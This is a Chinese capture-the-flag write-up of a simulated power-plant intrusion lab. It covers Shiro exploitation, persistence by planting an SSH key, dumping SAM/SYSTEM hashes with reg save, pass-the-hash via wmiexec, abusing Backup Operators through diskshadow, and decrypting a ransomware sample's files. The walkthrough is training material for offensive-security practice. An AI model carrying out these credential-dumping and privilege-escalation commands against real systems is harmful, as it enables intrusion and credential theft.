本文最后更新于:9 天前
经过CISCN&CCB2025的磨练,笔者深刻感受到了自己内网渗透功底的不足(几乎为零
这个靶场某种意义上还挺意义重大,这次赛前前一晚和Wells临时抱佛脚首氪15块买了三小时,简单的flag也是拿下了两个,赛后决定花点钱(大出血买了50沙砾)再好好复现下这个靶场,补足一些知识点
靶标介绍:
该场景模拟仿真了电力生产企业的部分业务场景。“火创能源” 公司在未充分重视网络安全的威胁的情况下,将敏感区域的服务错误地配置在公网上,使得外部的 APT 组织可以轻松地访问这些服务,最终导致控制电力分配、生产流程和其他关键设备的服务遭受攻击,并部署了勒索病毒。 玩家的任务是分析 APT 组织的渗透行为,按照关卡列表恢复其攻击路径,并对勒索病毒加密的文件进行解密。 附件地址:https://pan.baidu.com/s/13jTP6jWi6tLWkbyO8SQSnQ?pwd=kj6h
题目分四关
第一关
关卡剧情:
评估暴露在公网的服务的安全性,尝试建立通向生产区的立足点。
题目启动后给了一个ip,nmap对端口进行扫描,开放了22和8080两个端口

注意到很大的一个RememberMe,猜测是shiro框架

拿去工具测一下,确认框架存在,但是用自己的shiro550的key字典都跑不出来,猜测在某处存在key泄露

看名字是扫出了些好玩的东西,堆dump进行分析的话,应该是能找到硬编码的key内容的

拿工具跑出key

继续使用工具一把梭

上面既然开了ssh,并且现在又是root,为了方便操作,不如直接写公钥
1
| echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDK0EmEvEF6np40k4DD6vHTOgkATOBb2L2mszZf3vI+RE6Yifee5WjoEFvo+YScFluq1Eu3TcvY6eymAUv6yeIK5TJOCaELBSfZ7jeQRNXNaojuLx9Cw97EBCCLXWy7XIgONmhc0H1YROu8cuxwzJi+KKXoy4aBaXkd3jtFYh4/Wb7o+9ZbmeAjz3A4g/NkYhF/tbJdaFphNDPUdn/Bt4CnqV5MpK6h0NcNcb3KV7PY9OaV4cgUd2na+kYdeu0XkxczuI1TIb0rzQ/OF/tG3194mKP6hKiXTWgekvN5MeOBoDztzQouQQkQDkEWvKrxP/dQspOa4EqX7sa9VmhWV1cTuMAuxkHi2kLNrRRZ6ZRG+WR3efNMP9CyiABSFBJ87L1l15GoEdtbolCbvxpjij1hEW9qhOjhMdvAC1VGaxr84j0PTCnumZkZw6K3+KqKXCUV3SXaf+uAaXqIrVdRPKXSorxVezuNW+zT2bD54rlU2OUcuDiuh+HrTQ0/HWMDM0M= linfe@Potat0w0233" > /root/.ssh/authorized_keys
|
然后用私钥连接上ssh

拿到第一个flag

第二关
关卡剧情:
尝试接管 SCADA 工程师的个人 PC,并通过滥用 Windows 特权组提升至系统权限。
传上fscan之后开始扫网段

扫到172.22.17.6存在一个http服务

上传frp做sock5代理出来

然后浏览器走代理访问

在页面中一顿乱翻,找到这么个规则

同时有通讯录附件

走代理之后,用chenhua/chenhua@0813连接上rdp

按题目的提示,我们查询用户所在组
发现该用户在Backup Operators用户组中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| PS C:\Temp> whoami /groups
组信息 -----------------
组名 类型 SID 属性 ====================================== ====== ============ ============================== Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组 BUILTIN\Backup Operators 别名 S-1-5-32-551 只用于拒绝的组 BUILTIN\Remote Desktop Users 别名 S-1-5-32-555 必需的组, 启用于默认, 启用的组 BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组 NT AUTHORITY\REMOTE INTERACTIVE LOGON 已知组 S-1-5-14 必需的组, 启用于默认, 启用的组 NT AUTHORITY\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用的组 NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组 NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组 NT AUTHORITY\本地帐户 已知组 S-1-5-113 必需的组, 启用于默认, 启用的组 LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组 NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组 Mandatory Label\Medium Mandatory Level 标签 S-1-16-8192
|
查看特权,但是没给用户分配SeBackup特权

这里可以通过保存注册表来获取本地凭证
1 2 3
| mkdir c:\Tmp reg save hklm\system c:\Tmp\system reg save hklm\sam c:\Tmp\sam
|
然后拖到本地,从注册表中dump NTLM hash


使用wmiexec利用ntlm hash登录admin

随后在administrator的home下读到flag

上文提到SetBackup权限并未开启,该权限用于允许进程绕过通常的文件和目录权限限制,以读取系统的所有文件和目录。它主要用于备份操作,在创建系统备份时,可以让进程访问即使没有显式权限的文件,拥有这个权限的用户可以访问文件系统的任意文件
可以使用脚本https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeBackupPrivilege.ps1
1
| Import-Module .\EnableSeBackupPrivilege.ps1
|
成功启动特权

创建备份卷
先创建以下文件内容script.txt
1 2 3 4
| set context add create expose
|
随后在有权限的位置(无权限自己在C盘下创建一个目录)运行diskshadow /s script.txt
随后可以在z盘备份盘列出administrator用户的目录

1
| robocopy z:\Users\Administrator\flag\ .
|
获取到flag

第三关
关卡剧情:
尝试接管 SCADA 工程师站,并启动锅炉。
前面在http://172.22.17.6/乱翻的时候,有看到这么个玩意儿

拿fscan扫这个网段
扫到一台主机172.22.26.11

然后刚刚rdp连上就刷刷刷被入侵

按剧情,打开锅炉即可获得flag

第四关
关卡剧情:
尝试获取 SCADA 工程师站中的数据库备份,并分析备份文件是否泄漏了敏感数据。
win+d回到桌面先
黑客留下了这么个文件

桌面上放了两个被锁的文件

结合附件中给的两个key
privateKey
1
| <RSAKeyValue><Modulus>uoL2CAaVtMVp7b4/Ifcex2Artuu2tvtBO25JdMwAneu6gEPCrQvDyswebchA1LnV3e+OJV5kHxFTp/diIzSnmnhUmfZjYrshZSLGm1fTwcRrL6YYVsfVZG/4ULSDURfAihyN1HILP/WqCquu1oWo0CdxowMsZpMDPodqzHcFCxE=</Modulus><Exponent>AQAB</Exponent><P>2RPqaofcJ/phIp3QFCEyi0kj0FZRQmmWmiAmg/C0MyeX255mej8Isg0vws9PNP3RLLj25O1pbIJ+fqwWfUEmFw==</P><Q>2/QGgIpqpxODaJLQvjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbkVfy5Fw==</Q><DP>ulK51o6ejUH/tfK281A7TgqNTvmH7fUra0dFR+KHCZFmav9e/na0Q//FivTeC6IAtN5eLMkKwDSR1rBm7UPKKQ==</DP><DQ>PO2J541wIbvsCMmyfR3KtQbAmVKmPHRUkG2VRXLBV0zMwke8hCAE5dQkcct3GW8jDsJGS4r0JsOvIRq5gYAyHQ==</DQ><InverseQ>JS2ttB0WJm223plhJQrWqSvs9LdEeTd8cgNWoyTkMOkYIieRTRko/RuXufgxppl4bL9RRTI8e8tkHoPzNLK4bA==</InverseQ><D>tuLJ687BJ5RYraZac6zFQo178A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDoxRqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQNUM6ss/2/CMM/EgM9vz0=</D></RSAKeyValue>
|
encryptedAesKey
1
| lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM/IzLM/MHu9UhAB3rW/XBBoVxRmmASQEKrmFZLxliXq789vTX5AYNFcvKlwF6+Y7vkeKMOANMczPWT8UU5UcGi6PQLsgkP3m+Q26ZD9vKRkVM5964hJLVzogAUHoyC8bUAwDoNc7g=
|
C盘下有一个Lockyou.exe,是C#写的,使用rider反编译
找到主要的加密逻辑,仅仅使用一次aes加密,如果知道key的话直接解密即可

往上看,从这里的逻辑判断出aes_key是通过rsa的私钥对encryptedAesKey进行解密得到的

跟进,发现还有一步base64的解密

找个在线工具把私钥从xml转化成pem

随后在https://www.lddgo.net/encrypt/rsa
解密rsa,得到aeskey

但是还差一个条件,iv
我们回去仔细看看代码
这里将iv插入在了文件的头16个字节

GPT帮忙写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from Crypto.Cipher import AES import struct
def decrypt_file(input_file, output_file, aes_key): with open(input_file, 'rb') as f: iv = f.read(16) cipher = AES.new(bytes.fromhex(aes_key), AES.MODE_CBC, iv) encrypted_data = f.read() decrypted_data = cipher.decrypt(encrypted_data) padding_len = decrypted_data[-1] decrypted_data = decrypted_data[:-padding_len] with open(output_file, 'wb') as out_f: out_f.write(decrypted_data)
aes_key = "7258bd82a5e94eb9bb08f31c74ff534a6552cd756049bde3ad6f806a44bb6b39" input_file = "ScadaDB.sql.locky" output_file = "ScadaDB.sql"
decrypt_file(input_file, output_file, aes_key) print(f"解密完成,文件已保存为 {output_file}")
|
最终在解密文件中获取到flag
